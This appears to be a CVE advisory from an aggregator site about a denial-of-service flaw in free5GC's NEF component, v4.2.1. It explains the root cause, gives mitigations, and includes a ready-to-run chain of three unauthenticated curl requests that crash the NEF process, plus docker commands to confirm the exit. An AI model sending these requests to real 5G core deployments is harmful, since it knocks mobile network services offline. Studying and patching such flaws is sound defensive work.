Listen to this Post
How the mentioned CVE works:
The vulnerability resides in free5GC’s NEF component, specifically in the PFD (Packet Flow Description) change notification mechanism. When a subscriber creates a PFD subscription with a `notifyUri` (a callback URL), NEF stores it. Later, when a PFD change occurs, NEF asynchronously sends a POST notification to that `notifyUri` using NnefPFDmanagementNotify(). In pfd_notifier.go:142, if the outbound HTTP request fails (e.g., connection refused, DNS error, TLS failure, timeout), the code calls logger.PFDManageLog.Fatal(err). In Go, `logger.Fatal` is equivalent to `os.Exit(1)` – it terminates the entire NEF process immediately, skipping Gin recovery, deferred cleanup, and connection draining. An attacker can exploit this by first creating an AF context (POST to /3gpp-traffic-influence/v1/afdos/subscriptions), then creating a PFD subscription with an unreachable `notifyUri` (e.g., http://127.0.0.1:1/notify`), and finally triggering a PFD change (POST to/3gpp-pfd-management/v1/afdos/transactions). The three POSTs are unauthenticated in v4.2.1 because NEF route groups lack auth middleware. The PFD change returns201 Created, but immediately afterward NEF attempts the async notification, fails, and callsFatal. The NEF container exits with status 1, dropping all SBI services until manual restart. The flaw is a combination of CWE-617 (reachable assertion), CWE-755 (improper handling of exceptional condition), and CWE-20 (missing input validation onnotifyUri`). The attacker can repeat the trigger after every restart to sustain a denial-of-service.
dailycve form:
Platform: free5GC NEF
Version: v4.2.1
Vulnerability: Process exit DoS
Severity: Critical
date: 2026-03-20
Prediction: Patch within 14d
Analytics under What Undercode Say:
Create AF context
curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afdos/subscriptions' \
-H 'Content-Type: application/json' \
--data '{"afAppId":"app-nef-dos","anyUeInd":true}'
Create PFD subscription with unreachable notifyUri
curl -i -X POST 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions' \
-H 'Content-Type: application/json' \
--data '{"applicationIds":["app-nef-dos"],"notifyUri":"http://127.0.0.1:1/notify"}'
Trigger PFD change -> NEF dies
curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afdos/transactions' \
-H 'Content-Type: application/json' \
--data '{"pfdDatas":{"app-nef-dos":{"externalAppId":"app-nef-dos","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any"]}}}}}'
Verify container exit
docker inspect nef --format 'status={{.State.Status}} exit={{.State.ExitCode}}'
docker logs --since 2026-03-20T16:00:03Z nef | grep FATA
Exploit:
Attacker sends three unauthenticated POSTs to reachable NEF SBI endpoint. Third POST triggers async notification to attacker-controlled unreachable URI (port 1, blackholed IP, or DNS NXDOMAIN). NEF calls `os.Exit(1)` on delivery error, killing the process. Repeat after each restart for persistent DoS.
Protection from this CVE:
Upgrade to patched version (free5gc/nef25). Replace `logger.Fatal(err)` with proper error handling (log and continue, or retry with backoff). Validate `notifyUri` schema and reachability at subscription time. Enforce authentication/authorization on all NEF SBI routes. Deploy a watchdog that restarts NEF automatically, though this does not prevent the DoS.
Impact:
Complete loss of NEF service availability (SBI surface drops). No confidentiality or integrity impact. An unauthenticated remote attacker can crash NEF deterministically with a single chain of requests. Service unavailable until process restart.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
